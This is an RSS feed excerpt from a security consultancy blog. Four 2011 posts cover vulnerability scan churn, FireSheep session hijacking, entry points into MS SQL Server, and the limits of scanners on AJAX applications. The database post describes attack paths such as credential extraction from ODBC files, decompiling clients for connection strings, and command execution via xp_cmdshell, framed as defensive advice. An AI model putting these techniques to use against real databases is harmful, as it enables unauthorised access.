		<category><![CDATA[Application Security Risks]]></category>
		<category><![CDATA[vulnerability assessment]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1367</guid>
		<description><![CDATA[As vulnerability assessments continue from quarter to quarter, some vulnerabilities seem to appear, disappear, and reappear again. Some appear that were never seen before, despite the fact the affected software has been in use for over a year. ]]></description>
			<content:encoded><![CDATA[<p>As vulnerability assessments continue from quarter to quarter, some vulnerabilities seem to appear, disappear, and reappear again. Some appear that were never seen before, despite the fact the affected software has been in use for over a year.  If you&#8217;re in charge of remediating these vulnerabilities, you may be left scratching your head in puzzlement. Was the vulnerability remediated? Was it reintroduced to the environment? Did the scanning tool fail to catch it in a particular quarter? The short answer is yes. The long answer? </p>
<p>Vulnerabilities can appear and disappear for a variety of reasons.  Sometimes vulnerabilities will disappear due to being remediated, even if the remediation is unintentional. For example, a code-related vulnerability from last quarter doesn&#8217;t appear in this quarter&#8217;s scan. When you congratulate the development team on fixing the issue, they say &#8220;What? Sorry, we haven&#8217;t gotten around to fixing that one yet.&#8221; What happened? The server team applied a patch to the OS of the server the application was running on; the patch added new security functionality that unintentionally also fixed the code-related vulnerability, but no one realized it happened.  Next quarter, the server team has rolled back the patch due to issues with a separate legacy application, and the vulnerability appears again.  The next quarter, the server team turns off the affected server for maintenance during the time it was supposed to be scanned, so once again, the vulnerability disappears from the report, and all seems well. The <em>next</em> quarter, the server is turned back on, the development team adds new functionality to the application that requires additional services to be run on the server, the vendor&#8217;s scanning tool receives a huge plugin update with hundreds of new checks, and one of the new checks leads the security consultant to manually discover a high-severity issue which allows the complete compromise of the server. All of a sudden, a huge blob of risk has fallen in your lap, your boss&#8217;s left eye is twitching more than it usually does, and you have no idea how to rationalize what happened, much less explain it in an easy to consume manner. What do you do? Use the abbreviated cheatsheet below, which illustrates the most common sources of vulnerabilities&#8217; disappearing and reappearing acts:</p>
<table border="1" cellspacing="0" cellpadding="0" width="642">
<tbody>
<tr>
<td rowspan="2" width="258">                                   Source</td>
<td colspan="2" width="144" valign="top">
<p align="center">Vulnerability</p>
</td>
<td rowspan="2" width="78">
<p align="center">Trackable?</p>
</td>
<td rowspan="2" width="162">
<p align="center">How?</p>
</td>
</tr>
<tr>
<td width="78" valign="top">
<p style="TEXT-ALIGN: center">Disappears</p>
</td>
<td width="66" valign="top">
<p style="TEXT-ALIGN: center">Appears</p>
</td>
</tr>
<tr>
<td width="258" valign="top">Intentional remediation of vulnerabilities</td>
<td width="78" valign="top">
<p style="text-align: center;">X</p>
</td>
<td width="66" valign="top"> </td>
<td width="78" valign="top">Yes</td>
<td width="162" valign="top">Ask owner</td>
</tr>
<tr>
<td width="258" valign="top">Unintentional remediation of vulnerabilities</td>
<td width="78" valign="top">
<p style="TEXT-ALIGN: center">X</p>
</td>
<td width="66" valign="top"> </td>
<td width="78" valign="top">No</td>
<td width="162" valign="top">-</td>
</tr>
<tr>
<td width="258" valign="top">The availability of services during scanning</td>
<td width="78" valign="top">
<p style="TEXT-ALIGN: center">X</p>
</td>
<td width="66" valign="top"> </td>
<td width="78" valign="top">Maybe</td>
<td width="162" valign="top">Review logs, ask owner</td>
</tr>
<tr>
<td width="258" valign="top">The addition of services since the last scan</td>
<td width="78" valign="top"> </td>
<td width="66" valign="top">
<p style="TEXT-ALIGN: center">X</p>
</td>
<td width="78" valign="top">Yes</td>
<td width="162" valign="top">Review systems, ask owner</td>
</tr>
<tr>
<td width="258" valign="top">Updates to plugins/tool set</td>
<td width="78" valign="top"> </td>
<td width="66" valign="top">
<p style="TEXT-ALIGN: center">X</p>
</td>
<td width="78" valign="top">Yes</td>
<td width="162" valign="top">Ask vendor</td>
</tr>
<tr>
<td width="258" valign="top">Manually discovered results</td>
<td width="78" valign="top"> </td>
<td width="66" valign="top">
<p style="TEXT-ALIGN: center">X</p>
</td>
<td width="78" valign="top">Yes</td>
<td width="162" valign="top">Ask vendor</td>
</tr>
</tbody>
</table>
<p>Vulnerabilities can be hard to track, but with a bit of elbow grease and a convenient table provided by a reliable, intelligent resource (cough), you can hopefully be well on your way to eradicating the mystery of the vulnerability disappearing and reappearing act.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/02/09/the-vulnerability-disappearing-and-reappearing-act/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firesheep – What About Your App?</title>
		<link>http://www.netspi.com/blog/2011/02/07/firesheep-what-about-your-app/</link>
		<comments>http://www.netspi.com/blog/2011/02/07/firesheep-what-about-your-app/#comments</comments>
		<pubDate>Mon, 07 Feb 2011 22:39:45 +0000</pubDate>
		<dc:creator>abacchus</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[Application Security Risks]]></category>
		<category><![CDATA[FireFox]]></category>
		<category><![CDATA[FireSheep]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1372</guid>
		<description><![CDATA[By simply downloading and installing FireSheep, someone with less $k1llz than a scr1pt k1dd13 can easily double-click their way into accessing another user's Facebook, Twitter, or a variety of other accounts.]]></description>
			<content:encoded><![CDATA[<p>FireSheep, at this point, is somewhat old news; even when FireSheep was released, the issue it exploits &#8220;under the hood&#8221; has been old news for a number of years.  If you haven&#8217;t heard of it yet, FireSheep is a FireFox extension that greatly simplifies the process of stealing another user&#8217;s HTTP session. By simply downloading and installing FireSheep, someone with less $k1llz than a scr1pt k1dd13 can easily double-click their way into accessing another user&#8217;s Facebook, Twitter, or a variety of other accounts. The extension works by sniffing unencrypted traffic, including cookies that let applications like Facebook know that you are in fact, well, <em>you</em>.  There are some limitations on when and where the extension will work, but nonetheless FireSheep has quickly raised awareness within the general public on the pervasiveness of the issue.</p>
<p>While the average person may not understand exactly how FireSheep works, awareness of the end result is fairly obvious and hits home quickly.  While the extension is rigged to be an easy &#8220;point and shoot&#8221; for well known sites such as Facebook and Twitter, the concept could be easily transferred to any application that fails to send session information over a secure channel, including yours. Even though HTTPS is used to protect the login process, the cookie containing the user&#8217;s session information is thereafter sent over HTTP.  With a few tweaks to FireSheep&#8217;s source it would be just as easy to &#8220;point and shoot&#8221; the extension at your app, allowing session hijacking through a few clicks.</p>
<p>The moral of the story? As always, layer up. If possible, use the &#8220;Secure&#8221; attribute when setting session cookies to ensure that the cookie is only passed over HTTPS.  Configure your application such that it runs entirely over HTTPS, or at least anywhere that session information will be passed between the client and server. If you&#8217;re using Apache, you can use the <a href="http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslrequiressl" target="_blank">SSLRequireSSL</a> directive to deny access when SSL isn&#8217;t used for an HTTP request.  While there are a number of measures that can be taken client-side to try and combat the threat of FireSheep, ultimately the issue lies within the service provider. Depending on the application and its surrounding infrastructure, it may be a somewhat costly endeavor to make the switch to HTTPS; as with all changes, the cost must be justified.  If the benefits of end to end encryption aren&#8217;t hitting home with the right people, consider setting up a quick FireSheep demo to illustrate just how easy it is to exploit the issue.  If jaws drop as you update a (volunteer) coworker&#8217;s Facebook status on the projector within 10 seconds of them logging in, you&#8217;ll know you&#8217;re in good shape.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/02/07/firesheep-what-about-your-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Databases Attack: Entry Points</title>
		<link>http://www.netspi.com/blog/2011/01/26/when-databases-attack-entry-points/</link>
		<comments>http://www.netspi.com/blog/2011/01/26/when-databases-attack-entry-points/#comments</comments>
		<pubDate>Wed, 26 Jan 2011 23:23:42 +0000</pubDate>
		<dc:creator>Scott Sutherland</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[Database Security]]></category>
		<category><![CDATA[PCI DSS Requirement 8]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1351</guid>
		<description><![CDATA[This blog provides an overview of threats and entry points that are commonly leveraged by attackers to gain unauthorized access to databases and systems.]]></description>
			<content:encoded><![CDATA[<p>
Secure database configurations are important.  However, many database administrators fail to lock down accounts that are used by trusted services.  As a result, trusted services can often be used as entry points into database servers.  Over time attackers have become very efficient at identifying those entry points, gaining access to confidential information, and pretty much being evil.  This blog covers MS SQL Server entry points that can potentially be used to execute arbitrary queries via trusted database accounts.
</p>
<p><strong>Threats</strong><br />
Never discount the insider threat.  Even if the administrator isn’t the culprit, their account can be impersonated and their password can be stolen. Also, insider attacks typically don’t trigger alerts in the same way that brute force attacks do because all of the actions appear to be legitimate from the system’s perspective.  That makes enforcing the least privilege on accounts and objects even more important. Below I’ve listed a few accounts types that usually have more privileges than they really should.  You may want to keep an eye on them.
</p>
<ol>
<li>
Application Database Accounts<br />
Database accounts used by applications typically have more privileges than they need to perform their function.  In my experience I’ve found that most database accounts used by applications are assigned sysadmin privileges or actually use the SA account.  As a result, every developer with access to the account can execute arbitrary queries and system commands on the database server.  Application accounts should really only be assigned the access they require on the associated application database.
</li>
<li>
Database Administrator Accounts<br />
Of course it makes sense to give database administrators access to manage their own databases.  However, nine times out of ten they are able to elevate their privileges and access other databases and systems through inherited SQL Server service account permissions. So only give DBA access when it’s needed, set strong passwords, and audit administrative account activity.
</li>
<li>
Server Administrator Accounts<br />
Similar to database administrators, local server administrators usually have more power than they realize due to inherited permissions.  In SQL Server versions prior to 2008, the local Windows administrators group is assigned the sysadmin role by default.  As a result, every local administrator is inherently also a database administrator.  The lesson here is: Don’t assign the local administrators group sysadmin database privileges.
</li>
<li>
Database Service Accounts<br />
In most environments SQL Server service accounts are part of the local administrators group.  As a result, service accounts usually have sysadmin database privileges just like any other local administrator account.  Shared SQL Server service accounts are another very common problem/practice in large environments because they make managing accounts easier. However, the reality is that the shared service accounts compound the issue by opening unwanted lines of trust between all of the database servers. When using shared service accounts, anyone who can administer one database server can also access data on every other server using the shared service account.  Local commands and queries can be executed as the SQL Server service account by executing the OSQL command with the “-E” switch via the xp_cmdshell extended stored procedure.       Contrary to what your parents may have taught you, when it comes to SQL Server service accounts, it’s not nice to share.
</li>
</ol>
<p>
<strong>Entry Points</strong><br />
Below is a list of potential entry points into MS SQL Servers.  Generally speaking, a database entry point is anywhere a user or application interfaces with a database.  The idea is simple enough, and I think that most IT professionals understand it.  What they don’t always understand is what those entry points are, or they forget that any interface used legitimately can also potentially be used by an attacker.  The list below is intended to shed a little light into both areas. Most of the entry points can also be used to access other data management systems like Oracle and MySQL.  However, I haven’t supplied any details for those platforms.
</p>
<ol>
<li>
Database Listener<br />
By default, SQL Servers listen on port 1433.  In most cases they are configured to allow connections from anywhere on the network.  As a result attackers can attempt to use exploits and weak passwords to gain unauthorized access.  Based on my experience, there is at least one SQL Server account configured with a weak password.  There are a number of tools to help identify such accounts.  I like to use the SQLPing3 scanner. It does a good job of identifying SQL Servers and weak account passwords with the right word list.  It also does a good job of finding SQL Servers on non-default ports along with all of the associated instance information.  If you’re not a fan of SQLPing3, pretty much any vulnerability scanner will find the default database credentials for a SQL Server on the default port.  The general idea for this bullet is to patch regularly and set strong passwords for all database accounts.  If you’re using SQL Server 2005 or later I suggest inheriting the local or domain account policies to help enforce strong passwords.
</li>
<li>
ODBC<br />
Open Database Connectivity (ODBC) is a middle layer of software that helps facilitate communication between applications and database servers.  If an ODBC connection is already configured, it can be used to execute arbitrary queries against the database server through applications that use it.  Examples include but are not limited to, Access, Excel, and Word.  Additionally, some configurations allow attackers to extract usernames and passwords from ODBC configuration files. For example, Cain &#038; Able has a nice ODBC password extractor for SQL Server 2005.  If the password is recovered, attackers can connect directly to the SQL Server using SQL Server Management Studio.
</li>
<li>
Client-Server Applications<br />
I think a lot of developers are under the impression that if a client application’s GUI doesn’t give users the option to execute arbitrary database queries then it’s not possible.  Unfortunately that is far from the truth.  Many applications can be decompiled with tools like .NET Reflector and the Boomerang Decompiler.  Once decompiled the connection strings are often accessible in clear text.  In some case the connections strings can even be accessed with a hex editor prior to being decompiled.  Also, tools like Echo Mirage can be used to intercept and modify network traffic between the application and the server.  Users and attackers can actually conduct thick application SQL injection by modifying the database queries in the TCP payload.  If you’re interested, Mike Anderson wrote a brief blog on the subject which is available at http://www.netspi.com/blog/2010/05/04/echo-mirage-piercing-the-veil-of-thick-application-security/.  The take away here should be to obfuscate or encrypt your code, and encrypt all application communication with the server.
</li>
<li>
Web Applications<br />
Web applications present a number potential entry points. My goal today is not to provide a comprehensive list, but I will include some examples. If an attacker can access clear text connection strings in source code or configuration files such as the web.config, then the attacker can user them to connect to the backend database.  Vulnerabilities that provide read access to such files vary from application to application, but the result is the same.  If you are using clear text connection strings, consider encrypting them or using integrated authentication.  SQL injection is another big one, which I’m sure doesn’t come as a shock to anyone.  In many cases SQL injection can be used to bypass firewalls and execute arbitrary queries on the backend database.  For SQL injection use common sense and best practice coding methods.  I would spend more time on solutions for SQL injection, but there are volumes on the subject available online.  Finally, some web applications actually support the functionality to build SQL queries on the fly.  Technically it doesn’t qualify as SQL injection, but it definitely has the same result.  The fix? Don’t do that. <img src='http://www.netspi.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />
</li>
<li>
Web Services<br />
There are surprising amounts of web services running applications behind the scenes out there.  I’ve seen quite of few used by both web applications and client-server applications.  SOAP, REST, and RPC web services all still seem to be pretty popular right now.  Overall, SOAP web services seem to be used more by web applications, and REST/RPC web services seem to be used more by client-server applications.  Regardless of the web service type, I’ve seen many of the same issues that affect traditional web applications causing security holes that provide attackers with arbitrary query access.
</li>
</ol>
<p>
While assessing the security of your database servers make sure to consider more than the local database configuration. While the local database configuration needs to be secure, connections from trusted services can also be used as entry points by attackers.  Make sure to lock down accounts from those trusted services or you may be unwittingly providing full database access to internal and external attackers.<br /> <br />
– Boo evil
</p>
<p>
<strong>Reference Links</strong></p>
<ul>
<li><a href="http://sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx">http://sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx</a></li>
<li><a href="http://msdn.microsoft.com/en-us/library/ms174173.aspx">http://msdn.microsoft.com/en-us/library/ms174173.aspx</a></li>
<li><a href="http://www.oxid.it/cain.html">http://www.oxid.it/cain.html</a></li>
<li><a href="http://www.bindshell.net/entry/31">http://www.bindshell.net/entry/31</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/01/26/when-databases-attack-entry-points/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Complex Web Applications: Is the Scanner Dead? Part 1</title>
		<link>http://www.netspi.com/blog/2011/01/21/complex-web-applications-is-the-scanner-dead-part-1/</link>
		<comments>http://www.netspi.com/blog/2011/01/21/complex-web-applications-is-the-scanner-dead-part-1/#comments</comments>
		<pubDate>Fri, 21 Jan 2011 18:08:44 +0000</pubDate>
		<dc:creator>Scott Bianco</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[Web application assessments]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1340</guid>
		<description><![CDATA["...is it really possible to perform an adequate level of risk assessment using purely automated processes?"]]></description>
			<content:encoded><![CDATA[<p>Long gone are the days when you could update your version of Nikto, set some mutation parameters, point it at a web site, and feel good about the results. This ancient technique isn&#8217;t even sufficient for today&#8217;s &#8220;simple&#8221; information retrieval apps, let alone complex apps that have crossed the Web 2.0 sphere and mimic the fat clients of yesteryear. Modern vulnerability scanners attempt to address the sophistication of today&#8217;s complex web apps by adding more intelligence to the scanning engine and capability into signature constructs. However, is it really possible to perform an adequate level of risk assessment using purely automated processes?</p>
<p>In this series of postings, we will examine some of the challenges of assessing the security of complex web applications, including those related to features of the yet to be finalized HTML version 5 (HTML5) standard. We will further discuss the role of automation; it may not be dead, but it certainly needs a lot of hand holding.</p>
<p>Where do the scanners break? Or more appropriately, where do they fail to adequately test web applications so as to provide accurate results? The same place that provides the greatest complexity and feature rich capabilities to modern web applications; <span style="text-decoration: underline;">A</span>synchronous <span style="text-decoration: underline;">J</span>avascript <span style="text-decoration: underline;">a</span>nd <span style="text-decoration: underline;">X</span>ML, or AJAX for short. What is AJAX? Basically it is a set of technologies that enable a client browser to perform a background exchange of information with a web server without having to reload web content.  It involves several components which work together:</p>
<ul>
<li>HTML and CSS (of course)</li>
<li>The Document Object Model (DOM) &#8211; client side objects which contain definitions and values that may or may not be rendered to the user but are made available to scripting languages, such as JavaScript, through the DOM API for manipulation</li>
<li>XML for the structured exchange of data (optional)</li>
<li>JavaScript (or other client side scripting language &#8211; e.g. VBScript)</li>
<li>XMLHttpRequest (XHR) &#8211; an API used by scripting languages to send/receive information asynchronously from the server</li>
</ul>
<p>An example of all this in action is the Google maps application. All the interactivity involved in dragging the map canvas, displaying markers, populating markers with information, drawing direction vectors, and dynamically changing direction vectors are all provided by means of AJAX.</p>
<p>Is it secure? Even the most expensive point-and-click web scanners have a tough time answering that question. They are designed to crawl, identify parameters, inject, and monitor results for content that it is programmed to recognize as evil. Depending on the complexity of the client side scripting, fully automating these types of tests may be virtually impossible.</p>
<p>What&#8217;s the answer? That&#8217;s the subject of the next part in this series.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/01/21/complex-web-applications-is-the-scanner-dead-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

